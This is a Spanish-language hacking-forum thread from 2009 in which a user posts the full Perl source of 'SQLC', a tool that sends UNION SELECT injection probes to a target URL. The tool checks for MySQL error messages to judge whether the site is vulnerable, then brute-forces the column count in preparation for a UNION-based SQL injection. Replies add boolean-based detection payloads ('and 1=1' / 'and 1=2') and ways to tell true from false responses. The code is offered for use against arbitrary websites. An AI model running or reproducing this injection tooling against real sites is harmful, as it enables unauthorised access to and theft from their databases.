elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
28 Mayo 2012, 03:54  


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits
| | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | |-+  [Tool] SQLC (SQL Columnator) - by xassiz
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Tool] SQLC (SQL Columnator) - by xassiz  (Leído 2,308 veces)
xassiz_

Desconectado Desconectado

Mensajes: 273


Ich werde dich töten..


Ver Perfil WWW
[Tool] SQLC (SQL Columnator) - by xassiz
« en: 20 Diciembre 2009, 15:08 »

SQLC (SQL Columnator) - by xassiz



SQLC es mi herramienta en Perl, capaz de devolverte el número de columnas de una web, luego de comprobar si realmente es vulnerable.


Un ejemplo de su uso:




Aquí teneis el código:

Código
#!/usr/bin/perl
 
use LWP::UserAgent;
 
if (!$ARGV[0]) {
 
 
print q (
 
 
         .d8888.  .d88b.  db       .o88b.
         88'  YP .8P  Y8. 88      d8P  Y8
        `8bo.    88    88 88      8P      
          `Y8b.  88    88 88      8b      
        db   8D  `8P  d8'
88booo. Y8b  d8
        `8888Y'   `Y88'Y8 Y88888P  `Y88P'
 
 
                [+] Modo de uso:
 
 perl SQLC.pl http://www.target.com/news.php?id=
 
          -------------------------------
 
                 Coded by xassiz
 
 
);
 
exit 1;
 
}
 
print q (
 
 
         .d8888.  .d88b.  db       .o88b.
         88'  YP .8P  Y8. 88      d8P  Y8
        `8bo.    88    88 88      8P      
          `Y8b.  88    88 88      8b      
        db   8D  `8P  d8'
88booo. Y8b  d8
        `8888Y'   `Y88'Y8 Y88888P  `Y88P'
 
);
 
$target = $ARGV[0];
 
print("\n [+] Website a atacar: $target \n\n");
print("\n [?] Comprobando vulnerabilidad \n");
 
$vulnerabilidad = LWP::UserAgent->new() or die;
$comprobacion = $vulnerabilidad->get($target."-1+union+select+69--");
 
if ($comprobacion->content =~ /The used SELECT statements have a different number of columns/ || $comprobacion->content =~ /You have an error in your SQL syntax/ || $comprobacion->content =~ /mysql_fetch/ || $comprobacion->content =~ /mysql_num_rows/ || $comprobacion->content =~ /MySQL/)
{
 
print("\n [+] Objetivo Vulnerable \n\n\a");
print("\n [?] Buscando numero de columnas \n");
 
$count = 2;
$max = 500;
 
$precolumnator = LWP::UserAgent->new() or die;
$precolumns = $precolumnator->get($target."-1+union+select+0x78617373697a--");
 
if ($precolumns->content =~ /xassiz/)
{
print("\n [+] La website tiene 1 columna \n\n\a");
 
exit 1;
}
 
$inject = ",0x78617373697a";
 
while ($count <= $max) {
 
$columnator = LWP::UserAgent->new() or die;
$columns = $columnator->get($target."-1+union+select+0x78617373697a".$inject."--");
 
if ($columns->content =~ /xassiz/)
{
print("\n [+] La website tiene $count columnas \n\n\a");
exit 1;
}
 
$inject = $inject.",0x78617373697a";
$count ++;
}
 
print("\n [-] No se encontro el numero de columnas \n\n\a");
exit 1;
 
} else {
 
print("\n [-] Objetivo No Vulnerable \n\n\a");
 
exit 1;
 
}
 
#Autor = xassiz;
#Blog  = http://xassiz.blogspot.com;
 


Espero que os guste amigos!  Saludos


PD: podeis complementarla con SQL Copy Column, que le indicas el numero de columnas y directamente te pone la inyección en el portapapeles :D
« Última modificación: 22 Diciembre 2009, 19:05 por אครรเz » En línea



YXVuIGVyZXMgbWF0YWRvIHBhcmEgcG9uZXJ0ZSBhIGRlc2NpZnJhciBlc3RvIHhE
WHK
吴阿卡
Moderador
***
Desconectado Desconectado

Mensajes: 4.113


The Hacktivism is not a crime


Ver Perfil WWW
Re: [Tool] SQLC (SQL Columnator) - by xassiz
« Respuesta #1 en: 20 Diciembre 2009, 15:30 »

Hola, está entretenido, lo voy a agregar al post de recopilaciones  :P aver si le das un par de actualizaciones para que sea cada ves mejor  :D.

Saludos.
En línea

Mi foro Ultra Off-Topics: http://whk.drawcoders.com/foro/

Gracias a todos! Good bye!
xassiz_

Desconectado Desconectado

Mensajes: 273


Ich werde dich töten..


Ver Perfil WWW
Re: [Tool] SQLC (SQL Columnator) - by xassiz
« Respuesta #2 en: 20 Diciembre 2009, 15:31 »

Hola, está entretenido, lo voy a agregar al post de recopilaciones  :P aver si le das un par de actualizaciones para que sea cada ves mejor  :D.

Saludos.
Gracias WHK ;D Hay que contar que es mi primera tool en perl xD
En línea



YXVuIGVyZXMgbWF0YWRvIHBhcmEgcG9uZXJ0ZSBhIGRlc2NpZnJhciBlc3RvIHhE
~ Yoya ~
Wiki

Desconectado Desconectado

Mensajes: 954



Ver Perfil
Re: [Tool] SQLC (SQL Columnator) - by xassiz
« Respuesta #3 en: 21 Diciembre 2009, 15:48 »

pss, dectecta solo sqli si la web tira errores o si no no, porque no hases un +and+1=1 y +and+1=0 y luego conparas el codigo de fuente aver si son iguales y diferentes... Con eso puedes dectectar si es vulnerable.

Saludos!
En línea

08l00D

Desconectado Desconectado

Mensajes: 168


Ver Perfil
Re: [Tool] SQLC (SQL Columnator) - by xassiz
« Respuesta #4 en: 21 Diciembre 2009, 16:50 »

pss, dectecta solo sqli si la web tira errores o si no no, porque no hases un +and+1=1 y +and+1=0 y luego conparas el codigo de fuente aver si son iguales y diferentes... Con eso puedes dectectar si es vulnerable.

Saludos!
No siempre, muchas webs renuevan su contenido dinamicamente y por lo tanto se cambia el codigo de la web tambien ...
En línea
~ Yoya ~
Wiki

Desconectado Desconectado

Mensajes: 954



Ver Perfil
Re: [Tool] SQLC (SQL Columnator) - by xassiz
« Respuesta #5 en: 22 Diciembre 2009, 01:47 »

si es vulnerable a sqli debe funcionar, ya que dectecta los posibles errores sqli y si no tira errores no lo dectecta, aunque sea vulnerable a sqli, yo tengo una tools similar y al principio la hice que dectecte los posibles errores sqli y por muchas recomendaciones la hice que conparara el numero de lineas.

Código:
if ($comprobacion->content =~ /The used SELECT statements have a different number of columns/ || $comprobacon->content =~ /You have an error in your SQL syntax/ || $comprobacion->content =~ /mysql_fetch/ || $comprobacion->content =~ /mysql_num_rows/ || $comprobacion->content =~ /MySQL/)
{
En línea

YST


Desconectado Desconectado

Mensajes: 963


I'm you


Ver Perfil WWW
Re: [Tool] SQLC (SQL Columnator) - by xassiz
« Respuesta #6 en: 22 Diciembre 2009, 04:18 »

si es vulnerable a sqli debe funcionar, ya que dectecta los posibles errores sqli y si no tira errores no lo dectecta, aunque sea vulnerable a sqli, yo tengo una tools similar y al principio la hice que dectecte los posibles errores sqli y por muchas recomendaciones la hice que conparara el numero de lineas.

Código:
if ($comprobacion->content =~ /The used SELECT statements have a different number of columns/ || $comprobacon->content =~ /You have an error in your SQL syntax/ || $comprobacion->content =~ /mysql_fetch/ || $comprobacion->content =~ /mysql_num_rows/ || $comprobacion->content =~ /MySQL/)
{
Esas me suenan a las palabras de OzX :xD ¿El te lo recomendo no ? Por que en varias tool lo hacia de esa manera :P

Por cierto esa es una estupenda manera contando el numero de "\n"
En línea



Yo le enseñe a Kayser a usar objetos en ASM
~ Yoya ~
Wiki

Desconectado Desconectado

Mensajes: 954



Ver Perfil
Re: [Tool] SQLC (SQL Columnator) - by xassiz
« Respuesta #7 en: 22 Diciembre 2009, 22:35 »

Sip, al principio yo comparava los dos codigos de fuente aver si heran iguales y asi era mas lento y gastaba mas recursos, luego me recomendo que saque el numero de lineas y lo compare xD.

Gran tio xD.
En línea

xassiz_

Desconectado Desconectado

Mensajes: 273


Ich werde dich töten..


Ver Perfil WWW
Re: [Tool] SQLC (SQL Columnator) - by xassiz
« Respuesta #8 en: 23 Diciembre 2009, 11:57 »

Sip, al principio yo comparava los dos codigos de fuente aver si heran iguales y asi era mas lento y gastaba mas recursos, luego me recomendo que saque el numero de lineas y lo compare xD.

Gran tio xD.

No me estoy enterando mucho de lo que decís xD

A que os referís con el número de lineas? del codigo de la pagina entera?
En línea



YXVuIGVyZXMgbWF0YWRvIHBhcmEgcG9uZXJ0ZSBhIGRlc2NpZnJhciBlc3RvIHhE
~ Yoya ~
Wiki

Desconectado Desconectado

Mensajes: 954



Ver Perfil
Re: [Tool] SQLC (SQL Columnator) - by xassiz
« Respuesta #9 en: 23 Diciembre 2009, 14:55 »

Ej:

Tengo esta url vulnerable a SQLI

Código:
www.pagina.com/index.php?ud=1

Entonse hare dos peticiones, una con +and+1=1-- y otra con +and+1=2--
Y quedaria asi:
Código:
www.pagina.com/index.php?ud=1+and+1=1--
www.pagina.com/index.php?ud=1+and+1=2--
Le hago una peticion get a cada una y guardo el codigo de fuente en dos variables o arrays.
Luego le saco el numero de linea a una variable que almacena el codigo de fuente y le saco el numero de linea a la otra variable que almacena el codigo de fuente, luego si el numero de linea de las dos variables son iguales la web no es vulnerable pero si los numeros de linea son diferente las web es vulnerable.
En línea

xassiz_

Desconectado Desconectado

Mensajes: 273


Ich werde dich töten..


Ver Perfil WWW
Re: [Tool] SQLC (SQL Columnator) - by xassiz
« Respuesta #10 en: 23 Diciembre 2009, 20:29 »

Ah interesante, pero igual si una peticion es verdadera y la otra falsa puede cambiar la página sin variar el número de líneas no?
En línea



YXVuIGVyZXMgbWF0YWRvIHBhcmEgcG9uZXJ0ZSBhIGRlc2NpZnJhciBlc3RvIHhE
YST


Desconectado Desconectado

Mensajes: 963


I'm you


Ver Perfil WWW
Re: [Tool] SQLC (SQL Columnator) - by xassiz
« Respuesta #11 en: 23 Diciembre 2009, 21:32 »

Ah interesante, pero igual si una peticion es verdadera y la otra falsa puede cambiar la página sin variar el número de líneas no?

Generalmente no ya que las peticiones normalmente se hacen para mostrar contenido en la web :P ( Todo normalmente ya que existen muchas exepciones :P )
En línea



Yo le enseñe a Kayser a usar objetos en ASM
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines